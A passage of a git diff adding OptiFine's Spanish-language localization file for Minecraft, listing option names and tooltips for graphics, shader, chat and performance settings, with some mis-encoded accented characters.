Antialiasing. +of.options.SCREENSHOT_SIZE.tooltip.7=Requiere que tu tarjeta gráfica soporte Framebuffer. + +of.options.ADVANCED_TOOLTIPS=Descripciones de objetos +of.options.ADVANCED_TOOLTIPS.tooltip.1=Descripciones de objetos en el inventario +of.options.ADVANCED_TOOLTIPS.tooltip.2= Sà - mostrar descripciones +of.options.ADVANCED_TOOLTIPS.tooltip.3= NO - no mostras descripciones (por defecto) +of.options.ADVANCED_TOOLTIPS.tooltip.4= +of.options.ADVANCED_TOOLTIPS.tooltip.5=Esta opción permite ver información más detallada sobre +of.options.ADVANCED_TOOLTIPS.tooltip.6=objetos (ID, durabilidad) y shaders (ID, fuente, +of.options.ADVANCED_TOOLTIPS.tooltip.7=valor predeterminado). + +of.options.SHOW_GL_ERRORS=Mostrar errores de GL +of.options.SHOW_GL_ERRORS.tooltip.1=Mostrar errores de OpenGL +of.options.SHOW_GL_ERRORS.tooltip.2=Al activarse, los errores se muestran en el chat. +of.options.SHOW_GL_ERRORS.tooltip.3=Desactívalo si hay un problema irresoluble para +of.options.SHOW_GL_ERRORS.tooltip.4=que los errores no te molesten. +of.options.SHOW_GL_ERRORS.tooltip.5= +of.options.SHOW_GL_ERRORS.tooltip.6=Aunque se desactive, los errores siguen apareciendo en +of.options.SHOW_GL_ERRORS.tooltip.7=el registro (log) y pueden seguir causando FPS inestables. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Fondo de chat +of.options.CHAT_BACKGROUND.tooltip.1=Fondo de chat +of.options.CHAT_BACKGROUND.tooltip.2= Por defecto - el fondo aparece con un tamaño estático +of.options.CHAT_BACKGROUND.tooltip.3= Compacto - el fondo aparece con un tamaño adaptado al texto +of.options.CHAT_BACKGROUND.tooltip.4= NO - sin fondo + +of.options.CHAT_SHADOW=Sombreado de chat +of.options.CHAT_SHADOW.tooltip.1=Añadir sombra al texto del chat +of.options.CHAT_SHADOW.tooltip.2= Sà - sombrearlo +of.options.CHAT_SHADOW.tooltip.3= NO - sin sombrearlo diff --git a/src/assets/minecraft/optifine/lang/es_es.lang b/src/assets/minecraft/optifine/lang/es_es.lang new file mode 100644 index 00000000..ff1aed18 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/es_es.lang @@ -0,0 +1,813 @@ +# General +of.general.ambiguous=ambiguo +of.general.compact=Compacto +of.general.custom=Personalizado +of.general.from=De +of.general.id=ID +of.general.max=Máximo +of.general.restart=Reiniciar +of.general.smart=Inteligentes + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=Antialiasing no es compatible con shaders. +of.message.aa.shaders2=Desactívalas para usar esta función. + +of.message.af.shaders1=Anisotrópico no es compatible con shaders. +of.message.af.shaders2=Desactívalas para usar esta función. + +of.message.fr.shaders1=No es compatible con shaders. +of.message.fr.shaders2=Desactívalas para usar esta función. + +of.message.shaders.aa1=Las shaders no son compatibles con antialiasing. +of.message.shaders.aa2=Para desactivarlo, haz clic en Calidad -> Antialiasing. + +of.message.shaders.af1=Las shaders no son compatibles con anisotrópico. +of.message.shaders.af2=Para desactivarlo, haz clic en Calidad -> Anisotrópico. + +of.message.shaders.fr1=Las shaders no son compatibles con el renderizado rápido. +of.message.shaders.fr2=Para desactivarlo, haz clic en Rendimiento -> Renderizado rápido. + +of.message.an.shaders1=No es compatible con shaders. +of.message.an.shaders2=Desactívalas para usar esta función. + +of.message.shaders.aa1=No es compatible con Antialiasing. +of.message.shaders.aa2=Desactívalo en Calidad -> Antialiasing -> NO. + +of.message.shaders.af1=No es compatible con Anisotrópico. +of.message.shaders.af2=Desactívalo en Calidad -> Anisotrópico -> NO. + +of.message.shaders.fr1=No es compatible con Renderizado rápido. +of.message.shaders.fr2=Desactívalo en Calidad -> Renderizado rápido -> NO. + +of.message.shaders.an1=No es compatible con Visión en 3D. +of.message.shaders.an2=Desactívalo en Opciones varias -> Visión en 3D. + +of.message.shaders.nv1=Estas shaders requieren un Optifine más reciente: %s +of.message.shaders.nv2=¿Quieres continuar? + +of.message.newVersion=Hay una nueva versión de §eOptiFine§f disponible: §e%s§f +of.message.java64Bit=Instala §eJava de 64-bits§f para mejorar el rendimiento +of.message.openglError=§eError de OpenGL§f: %s (%s) + +of.message.shaders.loading=Cargando shader: %s + +of.message.other.reset=¿Restablecer toda la configuración gráfica? + +of.message.loadingVisibleChunks=Cargando chunks visibles + +# Skin customization + +of.options.skinCustomisation.ofCape=Capa de OptiFine... + +of.options.capeOF.title=Capa de OptiFine +of.options.capeOF.openEditor=Editor de capa de OptiFine +of.options.capeOF.reloadCape=Recargar capa + +of.message.capeOF.openEditor=El editor de capa necesita abrirse en tu navegador. +of.message.capeOF.openEditorError=Error al abrir el enlace. +of.message.capeOF.reloadCape=La capa se recargará en 15 segundos. + +of.message.capeOF.error1=Error de autenticación con Mojang. +of.message.capeOF.error2=Error: %s + +# Video settings + +options.graphics.tooltip.1=Gráficos +options.graphics.tooltip.2= Rápidos - peor calidad, mejor rendimiento +options.graphics.tooltip.3= Detallados - mejor calidad, peor rendimiento +options.graphics.tooltip.4= +options.graphics.tooltip.5=Los cambios se aprecian en las nubes, en las hojas, +options.graphics.tooltip.6=en la lluvia, en los objetos tirados y en las +options.graphics.tooltip.7=esquinas (o bordes) de la pantalla del juego. + +of.options.renderDistance.tiny=Mínimo +of.options.renderDistance.short=Corto +of.options.renderDistance.normal=Normal +of.options.renderDistance.far=Lejano +of.options.renderDistance.extreme=Extremo +of.options.renderDistance.insane=Insano +of.options.renderDistance.ludicrous=A lo bestia + +options.renderDistance.tooltip.1= 2 Mínimo - 32m (increíblemente rápido) +options.renderDistance.tooltip.2= 4 Corto - 64m (rápido) +options.renderDistance.tooltip.3= 8 Normal - 128m (recomendado) +options.renderDistance.tooltip.4= 16 Lejano - 256m (puede ir lento) +options.renderDistance.tooltip.5= 32 Extremo - 512m (¡puede ir horrible!) +options.renderDistance.tooltip.6= 48 Insano - 768m, requiere usar 2GB de RAM +options.renderDistance.tooltip.7= 64 A lo bestia - 1024m, requiere usar 3GB de RAM +options.renderDistance.tooltip.8=A partir de 16 chunks será inútil en multijugador. + +options.ao.tooltip.1=Iluminación suave +options.ao.tooltip.2= NO - sin iluminación suave (rápido) +options.ao.tooltip.3= Mínimo - iluminación suave simple (lento) +options.ao.tooltip.4= Máximo - iluminación suave avanzada (más lento) + +options.framerateLimit.tooltip.1=Límite de FPS +options.framerateLimit.tooltip.2= VSync - limita los FPS según tu monitor (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - límite personalizado +options.framerateLimit.tooltip.4= Sin límite - todos los FPS posibles (recomendado) +options.framerateLimit.tooltip.5= +options.framerateLimit.tooltip.6=Al establecer un límite, los FPS pueden +options.framerateLimit.tooltip.7=disminuir si llegan a alcanzarlo. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Nivel de suavidad +of.options.AO_LEVEL.tooltip.1=Nivel de la iluminación suave +of.options.AO_LEVEL.tooltip.2= NO - sin sombras +of.options.AO_LEVEL.tooltip.3= 50%% - pocas sombras +of.options.AO_LEVEL.tooltip.4= 100%% - sombras oscuras + +options.viewBobbing.tooltip.1=Un movimiento más realista. +options.viewBobbing.tooltip.2=Desactívalo al usar mipmap para que sea mejor. + +options.guiScale.tooltip.1=Tamaño de interfaz (GUI) +options.guiScale.tooltip.2= Auto. - tamaño máximo +options.guiScale.tooltip.3= Pequeña, normal y grande - desde 1x hasta 3x +options.guiScale.tooltip.4= Desde 4x hasta 10x - disponible en pantallas 4K. +options.guiScale.tooltip.5= +options.guiScale.tooltip.6=Los valores impares (1x, 3x, 5x...) no son compatibles +options.guiScale.tooltip.7=con la fuente unicode. +options.guiScale.tooltip.8=Una interfaz pequeña puede mejorar el rendimiento. + +options.vbo=Usar VBOs +options.vbo.tooltip.1=Vertex Buffer Objects (abreviado como VBO) +options.vbo.tooltip.2= +options.vbo.tooltip.3=Es un tipo de renderizado alternativo que suele ser +options.vbo.tooltip.4=más rápido que el predeterminado (un 5-10%%). + +options.gamma.tooltip.1=Modificar el brillo +options.gamma.tooltip.2= Oscuro - brillo por defecto +options.gamma.tooltip.3= 1-99%% - brillo personalizado +options.gamma.tooltip.4= Claro - brillo al máximo +options.gamma.tooltip.5= +options.gamma.tooltip.6=Esta opción no cambia completamente +options.gamma.tooltip.7=el brillo de los objetos más oscuros. + +options.anaglyph.tooltip.1=Visión en 3D +options.anaglyph.tooltip.2=Activar un efecto estereoscópico usando un color +options.anaglyph.tooltip.3=diferente para cada ojo. +options.anaglyph.tooltip.4=NOTA: Requiere gafas anaglíficas (rojas y azules). + +options.attackIndicator.tooltip.1=Modifica la ubicación del indicador de ataque +options.attackIndicator.tooltip.2= MIRA - debajo de mira central +options.attackIndicator.tooltip.3= BARRA - cerca de barra de objetos +options.attackIndicator.tooltip.4= NO - sin indicador de ataque +options.attackIndicator.tooltip.5= +options.attackIndicator.tooltip.6=Se indica la fuerza de ataque del +options.attackIndicator.tooltip.7=objeto que tengas en la mano principal. + +of.options.ALTERNATE_BLOCKS=Bloques alternos +of.options.ALTERNATE_BLOCKS.tooltip.1=Bloques con texturas alternas +of.options.ALTERNATE_BLOCKS.tooltip.2=Usar texturas alternativas para un mismo bloque. +of.options.ALTERNATE_BLOCKS.tooltip.3=Depende del paquete de recursos usado. + +of.options.FOG_FANCY=Niebla +of.options.FOG_FANCY.tooltip.1=Tipo de niebla +of.options.FOG_FANCY.tooltip.2= Rápidos - niebla más rápida, luce cutre +of.options.FOG_FANCY.tooltip.3= Detallados - niebla más lenta, luce mejor +of.options.FOG_FANCY.tooltip.4= NO - sin niebla, superrápido +of.options.FOG_FANCY.tooltip.5=La niebla detallada sólo está disponible si +of.options.FOG_FANCY.tooltip.6=tu tarjeta gráfica lo permite. + +of.options.FOG_START=Distancia de niebla +of.options.FOG_START.tooltip.1=Distancia a la que empieza la niebla +of.options.FOG_START.tooltip.2= 0.2 - la niebla estará cerca +of.options.FOG_START.tooltip.3= 0.8 - la niebla estará lejos +of.options.FOG_START.tooltip.4=Esta opción no suele afectar al rendimiento. + +of.options.CHUNK_LOADING=Carga de chunks +of.options.CHUNK_LOADING.tooltip.1=Velocidad de carga de chunks +of.options.CHUNK_LOADING.tooltip.2= Por defecto - FPS inestables al cargar chunks +of.options.CHUNK_LOADING.tooltip.3= Suave - FPS estables +of.options.CHUNK_LOADING.tooltip.4= Multinúcleo - FPS estables y una velocidad 3 veces superior +of.options.CHUNK_LOADING.tooltip.5=Las opciones "Suave" y "Multinúcleo" eliminan los tirones y +of.options.CHUNK_LOADING.tooltip.6=la lentitud causada por la carga de chunks. +of.options.CHUNK_LOADING.tooltip.7=Multinúcleo puede acelerar la carga hasta 3 veces más y +of.options.CHUNK_LOADING.tooltip.8=mejorar los FPS al usar un segundo núcleo del CPU. +of.options.chunkLoading.smooth=Suave +of.options.chunkLoading.multiCore=Multinúcleo + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=(SIN SHADERS) +of.options.shaders.packDefault=(SHADER INTERNA) + +of.options.shaders.ANTIALIASING=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.1=Nivel de antialiasing +of.options.shaders.ANTIALIASING.tooltip.2= NO - por defecto (rápido) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - mejora líneas y esquinas (más lento) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA es un efecto de posprocesamiento que suaviza +of.options.shaders.ANTIALIASING.tooltip.5="dientes de sierra" y transiciones de color. +of.options.shaders.ANTIALIASING.tooltip.6=Funciona mejor que el antialiasing común, y +of.options.shaders.ANTIALIASING.tooltip.7=es compatible con Renderizado rápido y shaders. + +of.options.shaders.NORMAL_MAP=Mapeado normal +of.options.shaders.NORMAL_MAP.tooltip.1=También llamado Normal Map +of.options.shaders.NORMAL_MAP.tooltip.2= Sà - (por defecto) +of.options.shaders.NORMAL_MAP.tooltip.3= NO +of.options.shaders.NORMAL_MAP.tooltip.4=Puede usarse por shaders para simular geometría 3D +of.options.shaders.NORMAL_MAP.tooltip.5=en superficies planas. +of.options.shaders.NORMAL_MAP.tooltip.6= +of.options.shaders.NORMAL_MAP.tooltip.7=No todas las shaders soportan esta opción. + +of.options.shaders.SPECULAR_MAP=Mapeado especular +of.options.shaders.SPECULAR_MAP.tooltip.1=También llamado Specular Map +of.options.shaders.SPECULAR_MAP.tooltip.2= Sà - (por defecto) +of.options.shaders.SPECULAR_MAP.tooltip.3= NO +of.options.shaders.SPECULAR_MAP.tooltip.4=Esta opción puede ser usada por shaders para simular +of.options.shaders.SPECULAR_MAP.tooltip.5=un efecto de reflejo especial. +of.options.shaders.SPECULAR_MAP.tooltip.6= +of.options.shaders.SPECULAR_MAP.tooltip.7=No todas las shaders soportan esta opción. + + +of.options.shaders.RENDER_RES_MUL=Calidad render. +of.options.shaders.RENDER_RES_MUL.tooltip.1=Calidad de renderizado del juego +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - bajo (más rápido, más borroso) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - normal (por defecto) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - alto (más lento, más calidad) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Controla la resolución interna a la que se renderiza. +of.options.shaders.RENDER_RES_MUL.tooltip.6= +of.options.shaders.RENDER_RES_MUL.tooltip.7=Valor bajo = aumenta el rendimiento. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Valor alto = sirve como antialiasing. + +of.options.shaders.SHADOW_RES_MUL=Calidad sombras +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Calidad de sombras +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - bajo (más rápido) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - normal (por defecto) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - alto (más lento) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Controla el mapeado de sombras de las shaders. +of.options.shaders.SHADOW_RES_MUL.tooltip.6= +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Valor bajo = borrosas, líneas gruesas. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Valor alto = detalladas, líneas definidas. + +of.options.shaders.HAND_DEPTH_MUL=Pr. de campo +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Profundidad de campo +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - mano cerca de la cámara +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (por defecto) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - mano lejos de la cámara +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Controla la distancia entre la mano y la cámara. +of.options.shaders.HAND_DEPTH_MUL.tooltip.6= +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Puede cambiar el desenfoque producido en la mano +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=por las shaders que usan blur. + +of.options.shaders.CLOUD_SHADOW=Sombras de nubes + +of.options.shaders.OLD_HAND_LIGHT=LC manos +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Luz clásica (LC) en la mano +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Por defecto - controlado por shaders +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= Sà - usar el sistema clásico +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= NO - usar el sistema nuevo +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=La luz clásica permite que los objetos diseñados +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=para emitir luz en la mano principal, también +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=lo hagan en la mano secundaria. + +of.options.shaders.OLD_LIGHTING=LC +of.options.shaders.OLD_LIGHTING.tooltip.1=Luz clásica (LC) +of.options.shaders.OLD_LIGHTING.tooltip.2= Por defecto - controlado por shaders +of.options.shaders.OLD_LIGHTING.tooltip.3= Sà - usar luz clásica +of.options.shaders.OLD_LIGHTING.tooltip.4= NO - no usar luz clásica +of.options.shaders.OLD_LIGHTING.tooltip.5=La luz clásica controla la iluminación estática de +of.options.shaders.OLD_LIGHTING.tooltip.6=Minecraft normal a los lados del bloque. +of.options.shaders.OLD_LIGHTING.tooltip.7=Algunas shaders suelen proporcionar una iluminación +of.options.shaders.OLD_LIGHTING.tooltip.8=mejorada que varía según la posición del sol. + +of.options.shaders.DOWNLOAD=Descargar shaders +of.options.shaders.DOWNLOAD.tooltip.1= +of.options.shaders.DOWNLOAD.tooltip.2=Para descargarte un paquete de shaders: +of.options.shaders.DOWNLOAD.tooltip.3=1. Abre la web de shaders en tu navegador. +of.options.shaders.DOWNLOAD.tooltip.4=2. Descárgate las shaders que te gusten. +of.options.shaders.DOWNLOAD.tooltip.5=3. Abre "Carpeta de shaders" y cópialas. +of.options.shaders.DOWNLOAD.tooltip.6= +of.options.shaders.DOWNLOAD.tooltip.7=Fácil, sencillo y para toda la familia. + +of.options.shaders.SHADER_PACK=Paquete de shader + +of.options.shaders.shadersFolder=Carpeta de shaders +of.options.shaders.shaderOptions=Opciones de shader... + +of.options.shaderOptionsTitle=Opciones de shader + +of.options.quality=Calidad... +of.options.qualityTitle=Opciones de calidad gráfica + +of.options.details=Detalles... +of.options.detailsTitle=Opciones de detalles gráficos + +of.options.performance=Rendimiento... +of.options.performanceTitle=Opciones de rendimiento + +of.options.animations=Animaciones... +of.options.animationsTitle=Activar o desactivar animaciones + +of.options.other=Opciones varias... +of.options.otherTitle=Opciones varias + +of.options.other.reset=Restablecer toda la configuración... + +of.shaders.profile=Perfil + +# Quality + +of.options.mipmap.bilinear=Bilineal +of.options.mipmap.linear=Lineal +of.options.mipmap.nearest=Cercano +of.options.mipmap.trilinear=Trilineal + +options.mipmapLevels.tooltip.1=Efecto visual que hace que los objetos lejanos luzcan +options.mipmapLevels.tooltip.2=mejor gracias a que suaviza los detalles de su textura +options.mipmapLevels.tooltip.3= +options.mipmapLevels.tooltip.4= NO - sin suavizado +options.mipmapLevels.tooltip.5= 1 - suavizado mínimo +options.mipmapLevels.tooltip.6= 4 - suavizado máximo +options.mipmapLevels.tooltip.7= +options.mipmapLevels.tooltip.8=Normalmente esta opción no afecta al rendimiento. + +of.options.MIPMAP_TYPE=Tipo de mipmap +of.options.MIPMAP_TYPE.tooltip.1=Efecto visual que hace que los objetos lejanos luzcan +of.options.MIPMAP_TYPE.tooltip.2=mejor gracias a que suaviza los detalles de su textura +of.options.MIPMAP_TYPE.tooltip.3= +of.options.MIPMAP_TYPE.tooltip.4= Cercano - suavizado bruto (más rápido) +of.options.MIPMAP_TYPE.tooltip.5= Lineal - suavizado normal +of.options.MIPMAP_TYPE.tooltip.6= Bilineal - suavizado fino +of.options.MIPMAP_TYPE.tooltip.7= Trilineal - suavizado muy fino (más lento) + + +of.options.AA_LEVEL=Antialiasing +of.options.AA_LEVEL.tooltip.1=Antialiasing suaviza líneas y bordes de los bloques +of.options.AA_LEVEL.tooltip.2= NO - (por defecto) sin antialiasing (más rápido) +of.options.AA_LEVEL.tooltip.3= 2-16 - nivel de suavizado del antialiasing (más lento) +of.options.AA_LEVEL.tooltip.4= +of.options.AA_LEVEL.tooltip.5= Suaviza los dientes de sierra y mejora la nitidez. +of.options.AA_LEVEL.tooltip.6=Los FPS pueden disminuir considerablemente al activarse. +of.options.AA_LEVEL.tooltip.7=Algunas tarjetas gráficas no soportan todos los niveles. +of.options.AA_LEVEL.tooltip.8= ¡El cambio será aplicado al REINICIAR el juego! + +of.options.AF_LEVEL=Anisotrópico +of.options.AF_LEVEL.tooltip.1=Filtro anisotrópico +of.options.AF_LEVEL.tooltip.2= NO - (por defecto) detalle normal de texturas (rápido) +of.options.AF_LEVEL.tooltip.3= 2-16 - refinar texturas al usar mipmap (más lento) +of.options.AF_LEVEL.tooltip.4= +of.options.AF_LEVEL.tooltip.5= +of.options.AF_LEVEL.tooltip.6=Este filtro recupera detalles al usar mipmap. +of.options.AF_LEVEL.tooltip.7=Los FPS pueden disminuir considerablemente al activarse. + +of.options.CLEAR_WATER=Aguas cristalinas +of.options.CLEAR_WATER.tooltip.1=Aguas cristalinas +of.options.CLEAR_WATER.tooltip.2= Sà - agua limpia y transparente +of.options.CLEAR_WATER.tooltip.3= NO - agua predeterminada del juego + +of.options.RANDOM_ENTITIES=Entidades aleatorias +of.options.RANDOM_ENTITIES.tooltip.1=Si una entidad tiene más de una textura... +of.options.RANDOM_ENTITIES.tooltip.2= NO - una única textura, más rápido +of.options.RANDOM_ENTITIES.tooltip.3= Sà - texturas aleatorias, más lento +of.options.RANDOM_ENTITIES.tooltip.4= +of.options.RANDOM_ENTITIES.tooltip.5=Requiere un paquete de recursos que tenga varias +of.options.RANDOM_ENTITIES.tooltip.6=texturas para una misma entidad. + +of.options.BETTER_GRASS=Césped mejorado +of.options.BETTER_GRASS.tooltip.1=Textura de los lados del bloque de césped mejorada +of.options.BETTER_GRASS.tooltip.2= NO - césped normal (por defecto), más rápido +of.options.BETTER_GRASS.tooltip.3= Rápidos - todo el bloque lleno de césped, más lento +of.options.BETTER_GRASS.tooltip.4= Detallados - textura dinámica, mucho más lento + +of.options.BETTER_SNOW=Nieve mejorada +of.options.BETTER_SNOW.tooltip.1=Nieve mejorada +of.options.BETTER_SNOW.tooltip.2= NO - nieve predeterminada, más rápido +of.options.BETTER_SNOW.tooltip.3= Sà - nieve mejorada, más lento +of.options.BETTER_SNOW.tooltip.4= +of.options.BETTER_SNOW.tooltip.5=Mostrar nieve debajo de los bloques transparantes +of.options.BETTER_SNOW.tooltip.6=(vallas, hierbas) al bordearlos con nieve. + +of.options.CUSTOM_FONTS=Fuentes personalizadas +of.options.CUSTOM_FONTS.tooltip.1=Fuentes personalizadas +of.options.CUSTOM_FONTS.tooltip.2= Sà - usar personalizadas (por defecto), más lento +of.options.CUSTOM_FONTS.tooltip.3= NO - usar la predeterminada, más rápido +of.options.CUSTOM_FONTS.tooltip.4= +of.options.CUSTOM_FONTS.tooltip.5=Algunos paquetes de recursos tienen fuentes +of.options.CUSTOM_FONTS.tooltip.6=personalizadas. + +of.options.CUSTOM_COLORS=Colores personalizados +of.options.CUSTOM_COLORS.tooltip.1=Colores personalizados +of.options.CUSTOM_COLORS.tooltip.2= Sà - colores personalizados (por defecto), más lento +of.options.CUSTOM_COLORS.tooltip.3= NO - colores predeterminados, más rápido +of.options.CUSTOM_COLORS.tooltip.4= +of.options.CUSTOM_COLORS.tooltip.5=Algunos paquetes de recursos tienen colores +of.options.CUSTOM_COLORS.tooltip.6=personalizados. + +of.options.SWAMP_COLORS=Color de pantanos +of.options.SWAMP_COLORS.tooltip.1=Color de pantanos +of.options.SWAMP_COLORS.tooltip.2= Sà - color en pantanos (por defecto), más lento +of.options.SWAMP_COLORS.tooltip.3= NO - sin color en los pantanos, más rápido +of.options.SWAMP_COLORS.tooltip.4=Afecta a: césped, agua, hojas y enredaderas. + +of.options.SMOOTH_BIOMES=Suavizar biomas +of.options.SMOOTH_BIOMES.tooltip.1=Suavizar transición entre biomas +of.options.SMOOTH_BIOMES.tooltip.2= Sà - suavizar cambio entre biomas (por defecto), más lento +of.options.SMOOTH_BIOMES.tooltip.3= NO - no suavizar cambio entre biomas, más rápido +of.options.SMOOTH_BIOMES.tooltip.4= +of.options.SMOOTH_BIOMES.tooltip.5=El suavizado se realiza mediante un degradado de color +of.options.SMOOTH_BIOMES.tooltip.6=a los bloques cercanos al borde de cada bioma. +of.options.SMOOTH_BIOMES.tooltip.7=Afecta a: césped, agua, hojas y enredaderas. + +of.options.CONNECTED_TEXTURES=Bloques unidos +of.options.CONNECTED_TEXTURES.tooltip.1=Unir texturas de ciertos bloques +of.options.CONNECTED_TEXTURES.tooltip.2= NO - no unirlas (por defecto) +of.options.CONNECTED_TEXTURES.tooltip.3= Rápidos - unirlas de forma rápida +of.options.CONNECTED_TEXTURES.tooltip.4= Detallados - unirlas de forma mejorada +of.options.CONNECTED_TEXTURES.tooltip.5= +of.options.CONNECTED_TEXTURES.tooltip.6=Unir las texturas de los cristales, de la arenisca y de +of.options.CONNECTED_TEXTURES.tooltip.7=las librerías al juntar los bloques. +of.options.CONNECTED_TEXTURES.tooltip.8=No todos los paquetes de recursos soportan esta opción. + +of.options.NATURAL_TEXTURES=Texturas naturales +of.options.NATURAL_TEXTURES.tooltip.1=Texturas naturales +of.options.NATURAL_TEXTURES.tooltip.2= NO - sin texturas naturales (por defecto) +of.options.NATURAL_TEXTURES.tooltip.3= Sà - con texturas naturales +of.options.NATURAL_TEXTURES.tooltip.4=Esta opción elimina el patrón de los bloques +of.options.NATURAL_TEXTURES.tooltip.5=que se crea al poner bloques del mismo tipo. +of.options.NATURAL_TEXTURES.tooltip.6=Se usan variantes rotadas y voleteadas de la textura +of.options.NATURAL_TEXTURES.tooltip.7=base del bloque. +of.options.NATURAL_TEXTURES.tooltip.8=No todos los paquetes de recursos soportan esta opción. + +of.options.EMISSIVE_TEXTURES=Texturas emisivas +of.options.EMISSIVE_TEXTURES.tooltip.1=Texturas emisivas +of.options.EMISSIVE_TEXTURES.tooltip.2= NO - sin texturas emisivas (por defecto) +of.options.EMISSIVE_TEXTURES.tooltip.3= Sà - con texturas emisivas +of.options.EMISSIVE_TEXTURES.tooltip.4=Las texturas emisivas aparecen superpuestas con +of.options.EMISSIVE_TEXTURES.tooltip.5=el brillo al máximo. Pueden usarse para simular +of.options.EMISSIVE_TEXTURES.tooltip.6=emisión de luz en ciertas partes de una textura base. +of.options.EMISSIVE_TEXTURES.tooltip.7= +of.options.EMISSIVE_TEXTURES.tooltip.8=No todos los paquetes de recursos soportan esta opción. + +of.options.CUSTOM_SKY=Cielo personalizado +of.options.CUSTOM_SKY.tooltip.1=Textura personalizada del cielo +of.options.CUSTOM_SKY.tooltip.2= Sà - cielo personalizado (por defecto), más lento +of.options.CUSTOM_SKY.tooltip.3= NO - cielo predeterminado, más rápido +of.options.CUSTOM_SKY.tooltip.4= +of.options.CUSTOM_SKY.tooltip.5=No todos los paquetes de recursos soportan esta opción. + +of.options.CUSTOM_ITEMS=Objetos personalizados +of.options.CUSTOM_ITEMS.tooltip.1=Textura personalizada de objetos (ítems) +of.options.CUSTOM_ITEMS.tooltip.2= Sà - objetos personalizadas (por defecto), más lento +of.options.CUSTOM_ITEMS.tooltip.3= NO - objetos predeterminados, más rápido +of.options.CUSTOM_ITEMS.tooltip.4= +of.options.CUSTOM_ITEMS.tooltip.5=No todos los paquetes de recursos soportan esta opción. + +of.options.CUSTOM_ENTITY_MODELS=Entidades personalizadas +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Textura personalizada de las entidades +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= Sà - variar modelos de entidades (por defecto), más lento +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= NO - usar modelos predeterminados, más rápido +of.options.CUSTOM_ENTITY_MODELS.tooltip.4= +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=No todos los paquetes de recursos soportan esta opción. + +of.options.CUSTOM_GUIS=Interfaz personalizada +of.options.CUSTOM_GUIS.tooltip.1=Interfaz del juego (GUI) personalizada +of.options.CUSTOM_GUIS.tooltip.2= Sà - interfaz personalizada (por defecto), más lento +of.options.CUSTOM_GUIS.tooltip.3= NO - interfaz original, más rápido +of.options.CUSTOM_GUIS.tooltip.4= +of.options.CUSTOM_GUIS.tooltip.5=No todos los paquetes de recursos soportan esta opción. + +# Details + +of.options.CLOUDS=Nubes +of.options.CLOUDS.tooltip.1=Calidad de las nubes +of.options.CLOUDS.tooltip.2= Por defecto - depende del ajuste de gráficos +of.options.CLOUDS.tooltip.3= Rápidas - peor calidad, mejor rendimiento +of.options.CLOUDS.tooltip.4= Detalladas - mayor calidad, peor rendimiento +of.options.CLOUDS.tooltip.5= NO - sin nubes, rendimiento superrápido +of.options.CLOUDS.tooltip.6= +of.options.CLOUDS.tooltip.7=Las nubes rápidas se renderizan en 2D. +of.options.CLOUDS.tooltip.8=Las nubes detalladas se renderizan en 3D. + +of.options.CLOUD_HEIGHT=Elevación de nubes +of.options.CLOUD_HEIGHT.tooltip.1=Editar altura a la que se muestran las nubes +of.options.CLOUD_HEIGHT.tooltip.2= NO - altura por defecto +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - encima del límite del mundo + +of.options.TREES=Ãrboles +of.options.TREES.tooltip.1=Calidad de hojas de árboles +of.options.TREES.tooltip.2= Por defecto - depende del ajuste de gráficos +of.options.TREES.tooltip.3= Rápidos - baja calidad, mejor rendimiento +of.options.TREES.tooltip.4= Inteligentes - más calidad, rendimiento medio +of.options.TREES.tooltip.5= Detallados - máxima calidad, peor rendimiento +of.options.TREES.tooltip.6= +of.options.TREES.tooltip.7=La calidad rápida dejará las hojas sin transparencia. +of.options.TREES.tooltip.8="Detallados" e "Inteligentes" sí mantienen la transparencia. + +of.options.RAIN=Lluvia/Nieve +of.options.RAIN.tooltip.1=Lluvia y nieve +of.options.RAIN.tooltip.2= Por defecto - depende del ajuste de gráficos +of.options.RAIN.tooltip.3= Rápidos - lluvia/nieve ligera, más rápido +of.options.RAIN.tooltip.4= Detallados - lluvia/nieve intensa, más lento +of.options.RAIN.tooltip.5= NO - sin lluvia/nieve, fastest +of.options.RAIN.tooltip.6= +of.options.RAIN.tooltip.7=Aunque se desactive la lluvia, el sonido +of.options.RAIN.tooltip.8=sigue estando activado. + +of.options.SKY=Cielo +of.options.SKY.tooltip.1=Cielo +of.options.SKY.tooltip.2= Sà - cielo visible, más lento +of.options.SKY.tooltip.3= NO - cielo no visible, más lento +of.options.SKY.tooltip.4= +of.options.SKY.tooltip.5=Aunque se desactive, la Luna y el Sol se podrán +of.options.SKY.tooltip.6=seguir viendo. + 